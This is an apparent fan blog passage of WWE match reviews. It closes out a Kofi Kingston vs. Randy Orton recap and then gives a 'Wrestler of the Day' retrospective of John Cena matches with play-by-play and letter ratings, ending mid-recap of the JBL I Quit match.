Non-title. Orton is especially ticked off tonight and sends Kofi to the floor. A whip into the barricade gets two for the champ and he clotheslines Kofi down for no cover. Kofi is sent to the floor again but he manages to send Randy into the announce table a few times to get a breather. Back inside and Orton sends him face first into the middle buckle before superplexing Kingston down for two. Orton drops a knee to the face but Kofi comes back with strikes to the head to knock Orton outside. Kofi follows him to the floor and sends Orton face first into the barricade as we take a break.

Back with Orton ramming Kofi into the announce table before taking him back inside for a chinlock. Kofi fights up but gets sent to the floor and into the steps for the third time tonight. Make it four as Orton is all insane again. A hard stomp to the side of the head gets two and we hit the chinlock again.

Orton shrugs off a comeback and walks around a lot more. Kofi gets a quick two off a backslide so Orton uppercuts him down for another chinlock. The hold is broken and Kofi avoids a knee drop. A dropkick sets up the Boom Drop but Orton rolls away and loads up the Elevated DDT….but Kofi counters into the SOS for the completely clean pin at 16:51.

Rating: D+. This was mind warping. First and foremost, WAY too long with the chinlocks and walking around. I get the idea of Orton letting Kofi hang in there and getting pinned, but there are far better ways to go about it than that. Then there’s the booking which is crazy enough if you think about it for more than three seconds. Orton is the new world champion, meaning he should not be getting pinned on Raw. It’s stuff like that which crippled the World Heavyweight Title and they don’t need to do it with the one title.

Kofi is a guy that you can put into almost any midcard spot and he’ll be fine. He doesn’t need to do anything special because his in ring work speaks for itself. He hasn’t really been around that long by comparison to some of the other people you see on the shows every week and I even left out some of the titles he’s won. The key thing to him is that some people just aren’t supposed to be in the main event and there’s nothing wrong with that.

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Wrestler of the Day – April 23: John Cena

It’s John Cena. Moving on.

 

Again, there are too many matches to do this in a timeline so we’ll just go with a mix and match of whatever great matches come to my mind in no order at all.

We’ll start with the first World Title, from Wrestlemania XXI.

Smackdown World Title: John Cena vs. John Bradshaw Layfield

JBL gets a police escort for his limo as JBL dollars fall from the sky. Surprisingly enough the champ sends Orlando Jordan and the Bashams to the back before the match. This is one of the rare instances where “My Time Is Now” is very appropriate. It’s a feeling out process to start but Cena runs into a boot in the corner. The champion starts pounding away in the corner and there’s the fallaway slam for good measure.

JBL chokes away on the ropes as this is in very slow mode to start. They slug it out for a bit but Cena charges into a spinebuster to put him down again. A neckbreaker gets two for the champion and a big clothesline gets two on Cena. JBL puts on a sleeper but Cena counters into a belly to back suplex to put both guys down. A double clothesline puts both guys down and we head to the floor for a neckbreaker by the champion.

Back in and JBL puts Cena down with a superplex for a delayed two as the crowd is mostly dead. Layfield goes up but dives into a powerslam for no cover. Cena comes back with his usual stuff including the Shuffle. Cena pumps up his shoes and after ducking the Clothesline, the FU (now called the AA) gives Cena his first of many world titles.

Rating: D. This was a REALLY dull match as JBL was freaking terrible in the ring at this point. He was so slow and lethargic and the match never worked at all. The ending sucked too as JBL didn’t even hit his finisher before taking the FU for the pin. Their rematch at Judgment Day was WAY better as it was a total brawl which suited JBL to perfection.

One of Cena’s biggest rivals is CM Punk, who he faced for the Wrestlemania XXIX title shot on February 25, 2013’s Raw.

John Cena vs. CM Punk

The winner gets the shot at Rock at Wrestlemania. They have a ton of time left too. After some big match intros we’re ready to go. The fans are of course split on Cena as we get some chain wrestling to start. Punk gets in the ropes to break up a headlock before putting on one of his own. A hip toss puts Punk on the floor and we take a break. Back with Punk getting backdropped but popping back up with a clothesline to take control again. A neckbreaker gets two on cena and it’s off to a neck vice.

Cena powers out of it and slams Punk to the mat before hooking a front facelock to slow things down. Off to a headlock instead but Punk shoves him off and hits a leg lariat for two. Off to a CM chinlock now but Cena fights back up. He hits a shoulder block but Punk ducks an attempt at a second. The suicide dive takes out Cena on the floor and we take another break.

Back with Cena escaping an abdominal stretch and hitting the shoulders again. There’s the ProtoBomb but Punk counters into the Anaconda Vice. Cena rolls over into a cover for two but Punk hits a swinging neckbreaker for two more. Sweet sequence there. Cena picks the leg for the STF but Punk makes the rope.

The springboard clothesline gets two more on Cena but Punk loads up a second, only for Cena to step to the side and hook the STF. Punk slips out and puts the Vice on again but Cena counters into a Crossface (called the STF by that lunkhead Cole). Punk rolls backwards into a small package for two and both guys are down again. They slug it out and Cena is getting madder on each punch he throws.

Punk kicks him in the ribs but the high kick misses. There’s the ProtoBomb but Punk kicks him in the head to escape the Shuffle. The GTS is countered into a sunset flip attempt but Punk sits on Cena for two. The bulldog by Punk is countered and there’s the Shuffle. AA is countered as is the GTS but Cena hits a Batista Bomb for two. The place is losing their minds on these kickouts. John goes up top but Punk gets up before Cena can try anything.

Cena blocks whatever Punk is trying and knocks him down, setting up the top rope Fameasser for two. Cena can barely follow up though and the high kick puts in the corner. Punk hits a WICKED running knee in the corner but Cena IMMEDIATELY hits the AA for two. Punk rolls to the floor and Cena has no idea what else he can do here. Cena goes out after him but gets sent HARD into the post. He isn’t moving an inch at nine but is somehow in by ten.

Back in and the GTS gets two and now Punk is ticked off. Another GTS is countered into an STF attempt and even with Punk trying to fight off the hold, Cena locks it in. Punk raises his hand to tap but SOMEHOW gets to the ropes. He kicks Cena in the knee and busts out a piledriver for a VERY close two and we get multiple frustrated covers. Punk goes up top and the Macho Elbow misses, allowing Cena to hit a FREAKING HURRICANRANA and the AA for the pin at 26:32.

Rating: A+. WOW. This doesn’t happen often but I was sitting there watching this match with my jaw hanging open. Those near falls were as good as I have seen this side of Austin vs. Rock at Wrestlemania and I had no idea what they were going to do until the ending. This was a PPV main event for free on Raw and was one of the best TV matches I have ever seen. Absolutely amazing and to people who say “well it wasn’t THAT good”, you’re wrong. Period.

The night after Wrestlemania XXVIII, Brock Lesnar returned to attack Cena, setting up this match at Extreme Rules 2012.

John Cena vs. Brock Lesnar

This is an Extreme Rules match which means they’re in wrestling gear. Well Lesnar is in MMA gear but you get the idea. The fans are more behind Cena than Lesnar. Cena charges right into a takedown and Brock comes at him with the strikes. Cena is cut on the left side of his head. Cena grabs a quick front facelock but Lesnar is WAY too strong. He poundso n Cena even more and the doctor comes in to check the cut. The replay shows that it was an elbow to the head. They close or at least stop the cut and go back to it.

Cena charges in again and Lesnar pounds him right down. Brock hammers on him and knocks Cena to the floor with a knee. The doctors stop it AGAIN to check the cut. Cena hits a quick elbow and tries the FU but Lesnar escapes and hits two rolling Germans. Lesnar’s Gonna Kill You chant. Cena comes back with some elbows and the shoulder block but there goes the referee.

Cena hits the ropes again but Lesnar runs him over. Lesnar goes for the open wound and rubs Cena’s blood on his own chest. Brock throws on an armbar (screw that kimura crap. This is wrestling) and then throws Cena to the floor instead of cranking on it. To the floor and Brock throws it on again but lets it go a second time, throwing Cena into the barricade.

Back in and Lesnar gets Cena’s chain and lock. He puts it down and chains Cena’s feet together. Cena gets up and Brock hits what might have been the hardest clothesline I’ve ever seen. With the legs still tied together, Brock puts him in the Tree of Woe. Brock goes after the referee but Cena escapes. That goes badly again as Brock whips him into the steps. AA is countered again into an F5 attempt but Cena’s legs hit the referee.

A second referee comes out but Lesnar throws him out too. The steps are brought in and Cena says Brock can’t see him. Back into the armbar and this time there’s a body vice. They’re on the steps and the fans care cheering for Cena. He picks Brock up into kind of a spinebuster but his arm is hanging limp. Cena goes up but misses the Fameasser. He was about an inch from hitting the steps too.

Cena rolls to the floor and is spent. Lesnar looks around bur can’t find Cena. He gets up on the steps and sees Cena (hehe) who can barely get back in. Cena gets up on the apron so Lesnar gets a running start from the steps and hits kind of a Poetry In Motion move but crashes to the floor and hurts his knee. He’s fine but Cena has the chain. Brock charges again and Cena gets in the chain shot to clock Lesnar. I think Brock is busted now. Oh yeah he is and Cena’s head has a lot of blood there too. An AA onto the steps gives Cena the pin at 18:05.

Rating: A. WOW. This is going to be a disputed rating but this was an absolute war. Cena got one homerun shot to win it but that’s all he needed. Lesnar dominated about 95% of the match but it was good enough to make both guys look great. Lesnar can come back but Cena has the first win, which sets up a rematch where Lesnar can beat him. I had a blast with this and Lesnar looks AMAZING.

Back in 2002, Kurt Angle issued an open challenge to any future superstar in the back that wanted to make a name for themselves. Cena answered, making his WWE debut on June 27, 2002 on Smackdown.

Kurt Angle vs. John Cena

Angle asks who Cena thinks he is and we hear his name for the first time. Cena says he can do this because of Ruthless Aggression and punches Angle to the floor. Back inside and Cena nails a backdrop followed by a corner splash for two. Another clothesline puts Angle down but he puts on the ankle lock. John rolls through but gets caught in a German suplex. They were flying before that throw.

Another release German puts Cena down but he rolls through the ankle lock into a rollup for two. Kurt hammers away in the corner and gets two more off a belly to belly. We hit the front facelock on Cena but he suplexes his way to freedom. A flying forearm puts Kurt down and a spinebuster gets two. The fans are WAY into these near falls. The Angle Slam is countered and Kurt misses a charge into the post to give Cena ANOTHER two. A powerslam gets one of the closest near falls I’ve ever seen on Angle but Kurt grabs a double chicken wing and holds him down for the pin.

Rating: B. For what this was, I was blown away. The ending worked really well as Angle had to use a quick amateur style move to beat him rather than the big moves he usually put people away with. Cena looked AWESOME out there and hung in there with Angle every move. You give Cena a moveset and he was going to be a star.

That’s an understatement of course and Cena would become a huge star. Another huge star was Batista, who Cena fought at Summerslam 2008.

John Cena vs. Batista

Batista shoves Cena back to start before grabbing a headlock. Cena comes back with a quick slam and Batista stops to take a breather. A big clothesline puts Cena down and a Jackhammer gets two. Cena comes right back with a suplex of his own for two but Batista puts him down with a side slam. A quick FU attempt is countered and Batista goes after the leg. Off to a Figure Four on Cena (just like Flair, he puts it on the wrong leg) who can’t power out so we get a rope grab instead for the break.

Back up immediately and Cena throws Batista to the floor in something resembling an FU before collapsing down. Back in again and Cena fires off the shoulder blocks and the ProtoBomb to set up the Shuffle. The FU is countered again and Batista kicks him in the face to put both guys down. Batista drives shoulders into the corner and catches him in the spinebuster to put Cena down. Cena backdrops out of the Batista Bomb and hits a DDT on the leg to set up the STFU. Batista FINALLY crawls over and gets a rope to shock Cena.

Batista gets up and escapes another FU to hook a rear naked choke of all things. Cena fights out of a hold as well, only to get caught by a spear for a VERY close two. They’re in full on main event mode here and it’s getting very awesome. Cena counters a powerslam into an FU but can’t follow up due to exhaustion. It’s finally good for two so Cena goes up with nowhere else to go.

Batista is up as well and they slug it out on top with Batista being knocked to the mat. Cena tries the Fameasser but gets caught in a Batista Bomb…..for two, plus a neck injury that required three months off (I seem to remember that happening earlier but WWE said it was here). Not that it matters as Batista goes into Animal Mode and ENDS Cena with a Batista Bomb for the pin.

Rating: A-. This is exactly what it was supposed to be: the two top guys in the company going to war with only one left standing. It’s a great fight in the vein of Rock vs. Austin from back in the day. Almost no complaints here and it felt like a major match on a major stage. What else can you ask for here?

Back to Punk now for what might be the match of the decade. From Money in the Bank 2011.

Raw World Title: John Cena vs. CM Punk

And here we go.  Punk has an epic reaction as he’s the hometown boy.  He even has a new shirt.  The crowd is rabid for Punk.  He sits in the ring and is a total face in the eyes of the crowd.  HUGE CM Punk chant goes up as we wait on Cena.  I seriously worry for Cena’s safety if he wins.  OH MAN that heat is ONS levels.  Punk goes out to be near the crowd for Cena’s entrance.  Total stoic Cena here as everything he does is booed out of the building.

They do big match intros and Punk is as over as free beer.  Here we go.  I’m so fired up for this it’s unreal.  TON of time for this too.  Punk grabs a headlock and the YOU CAN’T WRESTLE chants start up.  We actually do some chain wrestling and Cena is booed out of the building for a snap mare.  They do some obvious spot calling while Cena has a headlock.  Punk tries to fire off a spin kick but Cena ducks.

YOU CAN’T WRESTLE chants start up and Punk points at himself and asks the fans if they mean him.  Punk almost gets an Anaconda Vice but Cena reverses into an armbar.  They’re working slow here but that’s perfectly fine given that they have over 45 minutes if need be.  Jerry tries to make Punk out to be the heel here and it’s just failing completely.  There’s the duel and it’s all CENA SUCKS rather quickly.

Even Cole is against Punk here.  Headlock goes on again as Cena has mostly controlled here, but we’re only like 5 minutes in.  Hip toss by Punk sets up a dropkick and Punk speeds things up a bit.  There’s a headlock of his own and Cena is down.  We reference Montreal because that’s just what we do here in WWE.  Punk does You Can’t See Me to Cena and they both try their finishers but it’s a stalemate.

HUGE CM Punk chant goes up which is par for the course tonight.  Punk goes for the knee and takes over again.  Cena fires back with the bulldog for two.  Off to a front facelock and Punk shakes his finger no.  I’ve never seen as many spots called in a single match.  Cena hits a clothesline and Punk might have lost a tooth.  Off to an arm trap chinlock which is close to a Crossface with Cena on his back.

Punk gets up and suplexes his way out of it for two.  Cena does a Bret Hart chest to the buckle bump which gets two.  All Punk at this point.  Cena gets something going and hits a release fisherman’s suplex for two.  AA is reversed again and Punk gets a quick DDT for two.  Triangle choke goes on Cena and we slow it down again.  It seems like they’re saving energy.  They’ve been at it nearly ten minutes and it’s 10:22 so that’s a very likely scenario.

Cena counters out of it but Punk throws him to the floor.  Punk teases going up but just climbs out instead.  The fans applaud Punk just for picking Cena up.  The fans chant for Colt Cabana and there’s a knee to the back of the neck of Cena while he’s hanging off the apron.  That gets two back in the ring.  Punk charges at Cena but his arm hits the post to buy Cena a few seconds.

And never mind as Punk hits a clothesline for two.  Back to the chinlock as this needs to go a long time since the rest holds are getting a bit boring.  There are actually some Cena chants and Punk comes off the middle rope with a spinning cross body.  Cena might have hurt his knee as he’s going to the apron a bit.  Punk goes after him but can’t suplex him back in.  Cena manages to suplex him to the floor and the fans clap for a bit.

I think the knee was a work as he’s not even holding it at the moment.  Oh wait yes he is.  That was more or less an FU off the apron.  Back in the ring that gets two as he’s rubbing the knee now.  He can stand on it and hits another release fisherman’s.  Elbow drop gets two.  Cena sets for what looks like a powerslam but flips Punk forward into a sitout slam for two.

It’s only 10:30 and they’ve been going at it over 15 minutes.  The knee looks fine.  It’s boo/yay time and the yays are winning it.  We go WAY old school with an abdominal stretch.  HE EVEN HOOKS THE LEG PROPERLY!  Punk hip tosses out of it and it’s a double clothesline to put them both down.  Cena up first and he initiates the ending sequence.  The Protobomb is reversed though and Punk gets the loudest reaction for a rollup you’ll ever here.

Protobomb hits this time but You Can’t See Me results in a kick to the head.  Suicide dive takes Cena down and the fans erupt again.  Punk high fives a fan while he’s still on the ground in a cool moment.  Punk misses a cross body and now he Can’t See Cena.  Five Knuckle Shuffle hits at about 20 minutes.  AA is countered and Punk uses his martial arts for two.

Punk is looking towards the entrance and smiles for no apparent reason.  GTS is loaded up but Cena counters into a gutwrench suplex for two.  Punk fights back with some knees to the jaw and a bulldog.  Springboard clothesline gets two and the fans are still totally into this.  The replay shows how sweet those knees were.  Out of nowhere Cena grabs the STF and Punk is in trouble!  Oh of course he makes the rope but it takes awhile for him to get there.

As Cena goes for Punk again he gets caught in the side of the head with a big old kick for two.  Cena rolls through a cross body but the AA is countered into the GTS but Cena grabs the leg and the STF is back on again!  Punk can’t make the ropes but Cena pulls him back to the middle again.  Cole says it’s a matter of time and he’s right.  It’ll just be multiple more minutes because Punk manages to counter from the mat into the Anaconda Vice.  SWEET!

Cena gets back up there’s the AA for TWO.  This is getting awesome as they used the slow build.  I’m glued to my screen which hasn’t happened since a few years ago with Taker vs. Shawn.  Top rope legdrop is countered via something like a powerbomb for two.  Punk almost Hulks Up and says it’s time to Go To Sleep.  He loads it up but Cena grabs the rope and clotheslines him on it.

The top rope legdrop hits this time but it only gets two.  These kickouts are incredible.  They’re not going to end the match but they’ve built it up so well and the audience being so into them is making up the difference.  Cena is getting his 19th wind and looks like he wants the AA.  It hits clean again and PUNK KICKS OUT.  Cena tries an AA off the middle rope but Punk fights out of it.

He manages to get a top rope hurricanrana but Cena goes to the corner to escape.  Corner knee sets up the GTS and Cole is scared to death.  The knee only hits the ribs and Cena manages to fall out of the ring instead of being in pinning position.  And here’s Vince with Johnny Ace.  The distraction lets Cena get the STF and Vince sends Johnny Ace to ring the bell.  Cena hits the floor and blasts Ace, saying he doesn’t want it that way.  Vince and Cena have a staredown in the aisle and Cena says it’s my way.  He charges back into the ring and there’s the GTS and PUNK WINS!

Rating: A+. Excellent match as I’m sure you got here as the whole thing came off as completely epic.  Cena almost had to lose here due to the sake of his own safety.  Vince screwing himself over is a great thing because that’s how it had to be.  Great stuff here and the show ending with Punk being as popular as anyone imaginable is excellent.  Awesome stuff here and an awesome show.

Cena’s biggest title run was in late 2006 to late 2007. Here’s how it started at Unforgiven 2006.

Raw World Title: Edge vs. John Cena

Oh and it’s TLC. Let the Vince hardon begin. No coat for Edge here which is weird. BIG pop for Edge. I really want to see him as a face again. It might have helped to have him be a face for more than like two months or give him more than just shouting SPEAR over and over again. They start booing before Cena’s music even hits. Nuclear heat on Cena.

I love having the ladder and chair set up on the tables around the ring. That’s always a perk for some reason. Cena just being a two time champion is great. You can barely understand Lillian over the pop for Edge. Ross makes a good point and asks what Buddy Rogers would think of a TLC match. I’d counter with what would he think of the belt that spins with a big R on it.

LOUD booing for a simple headlock. This crowd is awesome. Impaler hits but since it’s not 2000 anymore that move is just average. I’ve never gotten that: how can a move like that just lose its power? Cena goes into some chairs and Edge is loudly cheered. You’ll get used to that tonight. Ladder time as Edge is mostly dominant. I’m getting tired of me saying things and then them changing immediately. A hip toss puts Edge onto a ladder and the American takes over.

It has always confused me a bit how people always talk about experience in these kinds of matches. How much experience do you need to climb a ladder? Sunset powerbomb through the table is kind of botched as the table isn’t there so they hit mat instead of table. A powerslam does it instead. These matches are hard to review as you kind of always wind up just listing off spots and it gets rather repetitive.

Edge runs up the ladder and hits a dive over the top to take out Cena which looked awesome. One man Conchairto is avoided by Cena, resulting in the cheering from fans over the lack of massive head trauma. STFU with Edge inside a ladder, which actually would hurt which is nicer than the figure four around the leg which wouldn’t really add a lot of pain I don’t think.

Cena hits an FU on the ladder. As in the ladder was across his shoulder and landed on Edge who was on the mat. Edge takes over again and sets Cena on a table then sets up another table on top of that. Nothing happens with it though, so I’d bet on that being the big finish. The BIG ladder is brought out and Edge is down, so Cena has to inch up the ladder.

SPEAR to take Cena off the ladder. It’s not quite the one to Hardy but it’s not bad at all. They fight over big spots near the ladder and Edge hits the floor. Cena almost gets the belt but Lita makes the save and Cena takes a big old fall to the floor and through a table. Lita messes up though and causes Edge to go flying through a table as well. FU to Lita and it’s time for Miley Cyrus’ big song from last year.

The double stack table is set up again but for no apparent reason at all as Edge is down on the floor and Cena is capable of climbing. Both guys on are the ladder and in a fairly famous visual now, Edge takes the FU off the ladder through two tables. Cena grabs the belt, which he would hold for the next full year plus.

Rating: B. I thought a higher grade at first but this feels more right. It’s definitely a good match and worthy of being a PPV main event, but it just feels kind of anti-climactic. Cena defies the odds again and wins the title? It’s not bad or anything but it just lacks that spark I guess you would say. Very intense match though with some very nice big bumps. This is worth checking out.

Speaking of 2006, here’s the main event from Backlash 2006.

Raw World Title: John Cena vs. HHH vs. Edge

Cena is defending if that wasn’t clear. HHH is the huge crowd favorite. The girl I was with was a huge Cena fan so I was for Edge all night. Well I liked Edge so it wasn’t completely because of her. Edge tells the other two to go at it and heads to the floor. That’s cool with HHH and Cena as they slug it out, won by the champion. Some shoulders take HHH down and there’s the release fisherman’s suplex for two. Edge makes the save and bails right back to the floor.

Cena punches the Game some more but walks into the high knee which gets two and some applause. Edge makes another save and heads right back to the floor. HHH and Cena finally have enough of the Canadian and they both go after him. Cena clotheslines Edge to the floor and takes turns with HHH ramming Edge into the announce table. This is awesome as it turns into a contest to see who can do it harder. Edge goes into the table about 10 times and looks mostly dead.

All three go back in but HHH throws Cena to the floor. Cena pulls HHH off the apron and rams his face into said apron. A top rope splash gets two on Edge and Cena loads up the Shuffle, only for Lita to pull the rope down and send Cena to the floor. HHH rams Cena into the steps and goes back in for a facebuster on Edge. The knee to the face gets two as does the spinebuster.

Edge counters a suplex and hits the Edge-O-Matic for two. HHH shrugs that off and puts on a sleeper but Edge reverses into one of his own. We have a Cena chant as he gets both guys up for the FU at once. That blew my mind at the time and he didn’t even hit the move. Edge gets off the top and spears Cena down while HHH is still in the FU position, giving the Game a Samoan Drop from Cena. Cool spot.

HHH and Edge head to the floor and HHH gets catapulted into the post to bust him open. Edge DDTs HHH on the table, leaving blood everywhere when the table doesn’t break. That made me cringe in the arena. HHH is COVERED in blood. Back in and Edge dropkicks Cena for two. He spears Cena in the corner but Cena counters the regular one into the STFU. Edge is about to tap but HHH pops up and blocks the hand from coming down and hits Cena in the head with the mic to break the hold.

HHH caves Edge’s head in with a chair shot, knocking him into the crowd. He heads back inside and walks right into the STFU just like at Mania. There is blood everywhere. HHH keeps his arm up (there need to be more arm checks from the referees. I miss those) and finally makes the rope. FU is countered into a Pedigree but that’s countered back into the STFU. Edge breaks it up and there goes the referee.

Cena tries to FU Edge from the middle rope but HHH gets beneath Cena to make it a modified Tower of Doom. Everyone is down so Lita brings in a chair. She charges at HHH with it but walks into a spinebuster which got a big pop in the arena. HHH gets the chair but throws it down. Instead he pulls out the sledgehammer but Edge spears him down. Edge gets the hammer but Cena loads him into the FU. HHH breaks that up with a low blow but the Pedigree to Cena is countered into a rollup for the pin to retain.

Rating: B+. This was WAY better from this perspective as I wasn’t all that impressed when I saw it live. This was actually an awesome match with a great blade job from HHH and almost non-stop action. Cena getting another win over HHH was another big step in his push towards the top of the company as he wasn’t quite there yet. This was a great match and it really impressed me on a second viewing.

Cena defended the title the next year at Backlash as well.

Raw World Title: John Cena vs. Shawn Michaels vs. Edge vs. Randy Orton

One fall to a finish. This is coming off the one hour match between Shawn and Cena on Raw. Shawn talks trash to Cena to start and it turns into a four way argument. Rated RKO yells at the other two until the other two hammer Rated RKO to the floor. Shawn immediately chops Cena into the corner. John comes back with a release fisherman’s suplex for two.

The other two come in and have a staredown of their own. They slug it out with Orton dropkicking Edge to the floor. Cena throws him back in and this time it’s Orton going to the floor, only to be beaten up by Shawn on the other side of the ring. All four head outside now and it’s only Edge on his feet. Shawn slams him down and goes into the ring for a moonsault onto all three guys. That always looks great.

Shawn and Edge get back into the ring but they clothesline each other. Cena comes back in and hits a double top rope Fameasser to take both guys down, getting two on Edge out of it. He goes to cover Shawn but Orton takes his head off with a clothesline. Orton throws out the guys with long hair and hits the backbreaker on Cena for two. A knee drop gets the same and Orton sends Cena shoulder first into the post.

Cena goes to the floor and it’s Shawn taking his place. Forearm and nip up follow but Edge spin wheel kicks him down for two. Orton is mad at Edge now but they team up to put down both guys. Cena gets sent into the table and it’s 2-1 on Shawn in the ring. They both grab a leg and put on what I guess you would call a double half crab. With Shawn in trouble, Cena comes in to take out both guys and save Shawn.

Cena cleans house and hits various signature moves on various opponents. Edge takes the Protoplex and Shuffle after everyone else has been shouldered out. Shawn Orton pull Cena out to the floor and send him into the post, followed by Shawn putting Orton into the same post. Shawn loads up a piledriver onto the table to Orton but Edge cracks him with a chair to break up it. Orton gives him a thumbs up and takes a chair shot for his efforts.

Edge comes into the ring and tries to use the chair on Cena but gets caught in the STF instead. Edge makes the rope and Orton comes in to replace him in the same hold. Shawn comes back in and almost gets caught in the STF but instead it’s a small package on Cena for two. Shawn clears out the ring other than Cena who takes the top rope elbow for two. He loads up the superkick but has to dodge an Edge spear. Edge goes down and the top rope elbow hits him as well.

Orton comes in for the same move but Cena breaks it up before Shawn can jump. Cena tries an FU on Shawn off the top but gets caught in a double electric chair drop off the top with Shawn crashing even harder. Edge and John are the only ones left in the ring but all three of the FU attempts fail. Orton and Shawn come back and it’s an RKO for Michaels. That gets two as Cena saves, as does the Edgecution on Cena. Everyone but Shawn tries finishers on everyone but only Edge hits a spear on Orton. Cena FU’s Edge and gets superkicked onto Randy for the pin. That was a great finish!

Rating: B+. I was really getting into this at the end and Cena getting superkicked down into the pin was a great way to keep everyone looking strong. The ending was so fast that I gave up trying to keep up with everything that was happening. It didn’t come off as a huge main event but at the same time it wasn’t supposed to. Very good stuff here though and everyone came off looking great.

It wouldn’t be Cena without a Wrestlemania main event. Here’s one from Wrestlemania XXIII.

Raw World Title: John Cena vs. Shawn Michaels

Remember that they’re tag champions here but neither guy wears the belt. I can’t say I blame them of course. Cena’s special entrance this year is driving a muscle car from “the parking lot” into the arena due to being in Detroit. They circle each other to start before Shawn slaps him in the face. A quick headlock doesn’t do much for Shawn so he uses his speed advantage to pop John with some right hands. Back to the headlock and it works a bit better this time as Shawn takes Cena down to the mat.

Cena has had enough of this defense thing and rings Shawn’s bell with a clothesline. Shawn is sent to the apron but he tosses Cena from the ring and out to the floor. A BIG chop staggers Cena but Shawn’s Asai Moonsault hits mostly table and Shawn is hurt. Luckily for him though Cena is even more hurt as they head back inside. Shawn chops away in the corner before going after Cena’s knee. The leg is wrapped around the post and Cena is in trouble. The referee asks Cena if he can continue and of course Cena says yes.

Shawn keeps kicking at the leg before wrapping it around the ring rope. With Cena down in the corner, Shawn stares straight at him to play even more mind games. Back up and John hits a big right hand to send Shawn flying across the ring. Shawn charges straight back at him with a shoulder into the ribs in the corner to keep control. Michaels charges again but Cena’s leg gives out and Shawn goes head first into the post, busting him open.

Cena has had enough of getting beaten up so he punches Shawn down before firing off some mounted right hands. The ProtoBomb and Shuffle hit but Shawn punches his way out of the FU. Cena is sent into the corner but manages to duck Sweet Chin Music. The referee isn’t so lucky though and is knocked senseless. Cena tries the FU but is countered into a DDT to put both guys down.

With no referee in sight, Shawn rolls to the floor and hits a sick piledriver onto the steps. The THUD when Cena’s head hit was a little scary. The back of Cena’s head is cut open BAD on top of that. Back in and here’s a second referee but the count only gets two. There are the forearm and nip-up as the blood flows down Shawn’s face. The top rope elbow connects but Cena blocks Chin Music with a big clothesline to put both guys down again.

They slug it out in the middle of the ring but the FU is countered again into a sunset flip for two. Shawn’s leap frog is caught in the FU but Cena is too banged up to cover. The very delayed cover gets two and the champ is getting frustrated. With nothing else to do he tries an FU off the top, only to be shoved off by Shawn. Michaels dives at Cena but gets caught in the FU position. He counters that as well though by landing on his feet, only to miss the superkick and have Cena try for the STFU. Cena keeps trying for it but gets small packaged down for two instead.

Shawn misses an enziguri attempt and now the STFU is on. Cena cranks back on it but Shawn is only a few inches away from the rope. As Shawn starts to black out he grabs the rope and Cena has to break. He takes a bit too long though and gets in an argument with the referee, allowing Shawn to kick Cena’s head off. Another delayed cover gets two and both guys are down. In a cool spot, both guys have to lean on the other to get up. The FU is countered again but Shawn can’t avoid the STFU again. Cena cranks back on it and Shawn has no choice but to tap out.

Rating: A-. This was a much better match than the HHH match from the year before for a few reasons. First of all, there was a story behind the match. As simple as it was, Shawn being Cena’s partner gave them a bond and seeing them fight was something interesting to see. Second, the drama was better here. Cena felt like he was in real trouble and that the title was in danger, which I never felt last year. It’s a better match overall and they would have even better ones in the future.

Let’s try another Angle match, this time from No Mercy 2003.

John Cena vs. Kurt Angle

Cena does a quick rap implying that Kurt is stupid. Oh and he’s gay. Cena as a totally disrespectful young punk is an interesting character for him. Angle is here as the old veteran that’s going to beat respect into Cena. Kurt takes him to the mat and runs him all over the place. Cena gets to the corner and looks terrified. The fans chant for Cena as the fans are still starting to like him here.

John runs him over a few times but Kurt easily takes him to the mat and works on the arm again. Angle ducks under a right hand and flips Cena a double bird. Cena comes back with a HARD clothesline and gets to the ground and pound. Angle comes back with a shoulder to the ribs in the corner but a second one hits post. Neckbreaker gets two for Cena. Protobomb gets the same and it’s off to the front facelock.

The dueling chants begin and Angle fires off some punches but he walks into a spinebuster for two. Cena goes up but Angle runs the corner. He gets knocked off so Cena jumps off with a double ax, but Angle dropkicks the knee on the way down. I can’t believe it: Angle actually hurting the leg before the ankle lock. Kurt wins a slugout and hits a Russian legsweep for two. He grabs the ankle lock but Cena grabs the rope immediately.

Out to the floor but they’re back in before I finish typing that sentence. They slug it out on the apron and Angle tries to German him off to the floor. Cena counters and DDTs him (landing on the shoulder) onto the apron to put Kurt down. Angle staggers back in but Cena dives off the top with the Fameasser for two. Kurt comes back with a German but Cena dropkicks Kurt’s knee out. Throwback gets two.

Cena misses a charge and it’s time for the the Rolling Germans which get two. Kurt can’t follow up so Cena hits a Buckle Bomb for two. The FU hits but Angle gets out at 2.9. I know the finish to the match already and even I thought that was going to be three. Another FU is countered into the Angle Slam but Cena gets out at two as well. Cena gets the chain but has them taken away. Gold medals to the head get two. Another FU attempt is countered into a backslide for two. FU is countered into the ankle lock and Cena taps. There’s something you don’t see everyday.

Rating: B+. It’s Cena vs. Angle for 18 minutes. What were you expecting here? Cena was nowhere near as good as he’d get but you could see the abilities here that were about to shine through. The near falls in this were great and it was clear that they had something special with Cena. He would turn face by Mania and would win the US Title there and the world title the next year.

Now for what might be my favorite Cena match ever. From Judgment Day 2005.

Smackdown World Title: John Bradshaw Layfield vs. John Cena

This is I Quit. Cena comes out on the back of a flatbed truck and with a DJ playing his theme song with turntables. Cena walks on top of JBL’s limo to tick Bradshaw off even more. Loud Cena chant to start us off which you rarely hear anymore. JBL makes the referee hold up both belts and now we’re ready to go.

We start with some technical stuff but there’s a ton of time to go so this is going to have time to get brutal. Arm drag by Cena and he works on the arm. JBL hits the floor which is enough to give him the advantage. Back in some clubbing forearms and a DDT put Cena down. JBL covers for no count because there are no pins in this. Cena fights back and gets a clothesline to send him to the floor.

Out to the floor and Cena rams his head into the steps. JBL manages to send him into the railing and we go out into the crowd. DDT on the floor and Cena is down. I keep thinking this is last man standing for some reason. Back into the ringside area and JBL sets up the announce table. Cena fights back so JBL returns the favor and sends him into the steps.

Bradshaw steals the belt, as in what you hold your pants up with and not the championship version, from the timekeeper. Cena is choked around the post by the belt, which I think is exactly what would happen in the match at Breaking Point with Orton. Bradshaw takes him onto the table and yells at him to quit. The powerbomb doesn’t work as Cena backdrops him through the other table.

Monitor to the head of JBL has him in trouble. It’s so weird to hear Cena cheered this loudly and universally. And then the fans are silenced by a huge chair to the head. Steps to the side of the head and Cena needs to be asked already. Brutal stuff so far. OH MAN Cena is busted wide open. JBL has a mic and they head back into the ring. Three extra special super finisher clotheslines from JBL and Cena is reeling.

Cena still won’t quit so JBL grabs Cena’s chain. The champ tries to fight up but a low blow puts him down again. Bradshaw asks him some more but the champ fights back and stands up with the blood dripping down his face. Five Knuckle Shuffle to JBL is followed by the FU. Bradshaw gets up and tries to leave. They head towards the limo and Cena gets a Protoplex onto the hood.

